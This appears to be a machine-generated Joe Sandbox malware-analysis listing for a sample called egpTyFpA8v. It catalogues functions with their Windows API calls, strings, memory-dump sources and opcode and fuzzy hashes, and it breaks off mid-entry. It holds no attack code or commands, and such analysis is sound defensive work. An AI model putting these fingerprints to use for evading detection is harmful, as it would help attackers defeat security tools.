Opcode Fuzzy Hash: 802032cc05765ba0af61c860e6ea5ca56e5bbb3591430d2de927062f4e4924b2
Instruction Fuzzy Hash: 8AE08636615211ABD7206FB05D0CB5B3BBCEF54791F144838B649C9050DA388449C754

Function 00436240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%L, xrefs: 0043624E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID: %L
API String ID: 0-1940408768
Opcode ID: 289aeef7c98ace8fe28776b951211b5c845e19813ce34c89221fe376d9c03d82
Instruction ID: 1c104f26fbb69cad1d058a9b85c08d299fe767c31f82a2eede6e967104ff1677
Opcode Fuzzy Hash: 289aeef7c98ace8fe28776b951211b5c845e19813ce34c89221fe376d9c03d82
Instruction Fuzzy Hash: 58B1C471D0010AAACF24EF94C4819FEB7B5EF5C314F51A02BE941A7291DB389D82CB9D

Function 004AAEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 004AAFAE

Strings

xbO, xrefs: 004AAFE4
xbO, xrefs: 004AB010

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __itow_s
String ID: xbO$xbO
API String ID: 3653519197-426669150
Opcode ID: ad70f6037c522d48275f3732b7c034acd29042bc795bff8b498e229b1b36b7ea
Instruction ID: 845f6965280580b7760cd6c1828b31985a464b0d274ac7e4b113f496b17eab1c
Opcode Fuzzy Hash: ad70f6037c522d48275f3732b7c034acd29042bc795bff8b498e229b1b36b7ea
Instruction Fuzzy Hash: A3B19070600109EFCB14DF65C891EBABBB9FF59344F14805BF9459B292EB38D941CB98

Function 0049AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0044FC86: _wcscpy.LIBCMT ref: 0044FCA9

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

__wcsnicmp.LIBCMT ref: 0049B02D
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0049B0F6

Strings

LPT, xrefs: 0049B027

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 8f7414943c2566c2f2075d254bcd9e126adb19de2891a04e03a35c6c7cdbaa9f
Instruction ID: 1fadece54e1a2d9a2170c11f2936b1475ca77b7ede9437f89960b467744d3231
Opcode Fuzzy Hash: 8f7414943c2566c2f2075d254bcd9e126adb19de2891a04e03a35c6c7cdbaa9f
Instruction Fuzzy Hash: 4C619375A00215EFCF14DF94D992EAEBBB4EB08350F10406AF816AB351D778AE44CB99

Function 00442957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00442968
GlobalMemoryStatusEx.KERNEL32(?), ref: 00442981

Strings

@, xrefs: 00442975

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: a5dbd513ff2efd448b15a9e56a5f51acc60c0dd497d39e05ac874576e2c633bb
Instruction ID: 7f63ea04729ada54793b515282d8fc33302b16c75a41dee6fbc9c7e034b949e8
Opcode Fuzzy Hash: a5dbd513ff2efd448b15a9e56a5f51acc60c0dd497d39e05ac874576e2c633bb
Instruction Fuzzy Hash: F45138714187449BD320EF11D886BABBBE8FB89344F41485EF2D8810A1DB759929CB5A

Function 00470574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0047057F

Strings

DdO, xrefs: 0043A151
DdO, xrefs: 0043A317

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClearVariant
String ID: DdO$DdO
API String ID: 1473721057-3688882967
Opcode ID: e322f38a577d94c2223799ae7836a9420ed80380bb95a18256db276d736b5187
Instruction ID: 80f26a36df3eaa3945cfe7a8cc9e57fe0dfe68cc6fe60363518c350c4ad2a585
Opcode Fuzzy Hash: e322f38a577d94c2223799ae7836a9420ed80380bb95a18256db276d736b5187
Instruction Fuzzy Hash: 195122786043418FDB54DF18C480A2BBBF1BB99354F54986EE8858B321D339EC91CF4A

Function 004A258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004A259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 004A25D4

Strings

|, xrefs: 004A25A5

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 5d2af376f292f6c985fa9d9edc5caf52bcd5cad43d04bae6728bc464681a8250
Instruction ID: ef0063a33eb437d73ed0c89e47420f7099f6d16eaf468581e8660f4b1d24e7f4
Opcode Fuzzy Hash: 5d2af376f292f6c985fa9d9edc5caf52bcd5cad43d04bae6728bc464681a8250
Instruction Fuzzy Hash: E9313971801119ABCF11EFA5CC85EEEBFB8FF19304F10105AF914B6162DB355916DB64

Function 004B7A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 004B7B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 004B7B76

Strings

', xrefs: 004B7ACA

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: c02239a3a0af4f938d99d75c8c0db705bb55c81b402c45e2cb12fd5940c2ff0d
Instruction ID: 9982d7110f106f463a02453332080d964272b63a703186e82a0fb48849733d7c
Opcode Fuzzy Hash: c02239a3a0af4f938d99d75c8c0db705bb55c81b402c45e2cb12fd5940c2ff0d
Instruction Fuzzy Hash: 08413974A082099FDB54CF68C880BEABBB5FF48304F10416AE904EB381D774A951CFA4

Function 004B6A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 004B6B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 004B6B53

Strings

static, xrefs: 004B6AB3

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 5be553ee0ab6215fc6c76fad21b2b55bb37ef88bb6d36c875915c7e2fbe85155
Instruction ID: 16530a0ceb86f8bc0f5ddbe55308d52785fe629b78d8bb438af0c17eafb4909b
Opcode Fuzzy Hash: 5be553ee0ab6215fc6c76fad21b2b55bb37ef88bb6d36c875915c7e2fbe85155
Instruction Fuzzy Hash: 5931AE71110604AADB109F69CC40BFB73B9FF48724F11862AF9A9D3290DA38AC51CB68

Function 004928A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00492911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0049294C

Strings

0, xrefs: 0049290A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 6f23188f22fd76218405b73235eba642143b92113db448d8c8e764de99adc904
Instruction ID: 4783cfa0e4c92332b82c53b4b3f56daa05678e51c35307234d707232dc34c6ba
Opcode Fuzzy Hash: 6f23188f22fd76218405b73235eba642143b92113db448d8c8e764de99adc904
Instruction Fuzzy Hash: 1531F471600305BBDF24DE48CA45BAFBFB8EF45350F14003AE980A62A1D7B89944CB59

Function 004B66D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 004B6761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004B676C

Strings

Combobox, xrefs: 004B672E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: e542e55905173c821667088946b297fbac814ff45512ab7898c47cb65a283a13
Instruction ID: 13a17a7c40439ca74728f3ed4e4104743290fc8ac9792b8509954a086f73af58
Opcode Fuzzy Hash: e542e55905173c821667088946b297fbac814ff45512ab7898c47cb65a283a13
Instruction Fuzzy Hash: 341186752002087FEF119F55CC81EFB376AEB48368F11452AF91897290DA7D9C5187B4

Function 004B6C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00431D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00431D73
Part of subcall function 00431D35: GetStockObject.GDI32(00000011), ref: 00431D87
Part of subcall function 00431D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00431D91

GetWindowRect.USER32(00000000,?), ref: 004B6C71
GetSysColor.USER32(00000012), ref: 004B6C8B

Strings

static, xrefs: 004B6C4E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 97661a0327282c03e8f235e58f039e6fda912b35d2eb303bb798c520744f16ca
Instruction ID: 806d0c5983c38ed6b3aa1ef88c8929a7845e43f4714302c9d2c02c2b88e674c0
Opcode Fuzzy Hash: 97661a0327282c03e8f235e58f039e6fda912b35d2eb303bb798c520744f16ca
Instruction Fuzzy Hash: 22211472610209AFDF14DFB8CC45AFA7BB8FB08314F11462AFD99D2250D639E861DB64

Function 004B6920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 004B69A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004B69B1

Strings

edit, xrefs: 004B6986

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: dedbe89c6e7fc2b54ab55831016cde4ced33e6ebfe68fd1c4f5555089a9151d9
Instruction ID: a92fb91f5f7af9a0311891073e77b379c3d7dc61e83910852eb032209a177ce1
Opcode Fuzzy Hash: dedbe89c6e7fc2b54ab55831016cde4ced33e6ebfe68fd1c4f5555089a9151d9
Instruction Fuzzy Hash: D6118FB1100208ABEF108E68DC40AFB37A9EB05378F614726F9A5972E0C77DDC559778

Function 004929AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00492A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00492A41

Strings

0, xrefs: 00492A18

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 2ff79ea5066d1411ba82203cd3800e97373e026e5437c213b79ea39a5f17f5e0
Instruction ID: e36571b5be2ced7d85662dea750a09ec2866ef944b460403f31d0dd329ad172f
Opcode Fuzzy Hash: 2ff79ea5066d1411ba82203cd3800e97373e026e5437c213b79ea39a5f17f5e0
Instruction Fuzzy Hash: 2F11B173901115BBCF30DA58DE44FAF7BA8AB46304F044033E955A72A0D7B8AD0AC799

Function 004A21D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 004A222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 004A2255

Strings

<local>, xrefs: 004A221D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: a7873518de14be4ad99e472cbeee9d6915c63ff3d26d3a5acb95074d04e9eeb6
Instruction ID: e5b87c98a616f7687c1b55fc1d72f2022e07f405056192c5712bd549e515313c
Opcode Fuzzy Hash: a7873518de14be4ad99e472cbeee9d6915c63ff3d26d3a5acb95074d04e9eeb6
Instruction Fuzzy Hash: 50110271501225BADB248F598D84FFBFBA8FF2B351F1082ABF90456140D2B89885E6F5

Function 0044092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00433C14,P@,?,?,?), ref: 0044096E

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

_wcscat.LIBCMT ref: 00474CB7

Strings

SO, xrefs: 004409AE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: SO
API String ID: 257928180-2479146506
Opcode ID: f640a01947042bb984440560f6d20ee6d56e1fd79a1f909e18ed8c23b144510d
Instruction ID: 8a93b79f6fbb8d2b6d62b81810beafe023177904b06bca0f440e0f5800237d7e
Opcode Fuzzy Hash: f640a01947042bb984440560f6d20ee6d56e1fd79a1f909e18ed8c23b144510d
Instruction Fuzzy Hash: 4711A9B0A052099BDB10EB64CC05EDDB7F8EF0C744F0044ABBB48D3281EA78A698471D

Function 00488E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 0048AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0048AABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00488E73

Strings

ListBox, xrefs: 00488E3D
ComboBox, xrefs: 00488E12

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: bb5b7fd2184ba98cee1837e067857dd95e3cf6f51950d97822d0590a7fad73ae
Instruction ID: fece98cf40a6e7d2ae50ef8bd21292d33f1aecab9c8d06d885305fdd1cd9a917
Opcode Fuzzy Hash: bb5b7fd2184ba98cee1837e067857dd95e3cf6f51950d97822d0590a7fad73ae
Instruction Fuzzy Hash: A501F1B1601218AB9B19FBA5CC419FE7368EF05320B540A1FB875A72E2DE395808D758

Function 00488CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 0048AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0048AABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 00488D6B

Strings

ListBox, xrefs: 00488D35
ComboBox, xrefs: 00488D0A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 1d279658681ebc459c54ac8f0394bdb6f350b327e4290a68ea7992c7a310e9dd
Instruction ID: 570ceb4a2caab3ca2d951da0503db09feda6ecbb2da58a2a8fd7bf1e0c8b9474
Opcode Fuzzy Hash: 1d279658681ebc459c54ac8f0394bdb6f350b327e4290a68ea7992c7a310e9dd
Instruction Fuzzy Hash: 6F01D4B1A41108ABDB25FBE1C952AFF73A8DF15310F54041FB805632D1DE185E08D379

Function 00488D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 0048AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0048AABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 00488DEE

Strings

ListBox, xrefs: 00488DBA
ComboBox, xrefs: 00488D8F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 7a22e16fc2b551d3725e4d3f4fa7bb96f0827b1b119c7b76876299320dd2b3d2
Instruction ID: bfe0d8a037d827473189c8e2db0657162e1c9bc5bdf54c0f63ecc03088ce3393
Opcode Fuzzy Hash: 7a22e16fc2b551d3725e4d3f4fa7bb96f0827b1b119c7b76876299320dd2b3d2
Instruction Fuzzy Hash: E401F2B1A41108A7DB25FAA5C942AFF73A8DF15310F54041FB80573292DE295E09D37A

Function 0048C4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0048C534

Part of subcall function 0048C816: _memmove.LIBCMT ref: 0048C860
Part of subcall function 0048C816: VariantInit.OLEAUT32(00000000), ref: 0048C882
Part of subcall function 0048C816: VariantCopy.OLEAUT32(00000000,?), ref: 0048C88C

VariantClear.OLEAUT32(?), ref: 0048C556

Strings

d}N, xrefs: 0048C517

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
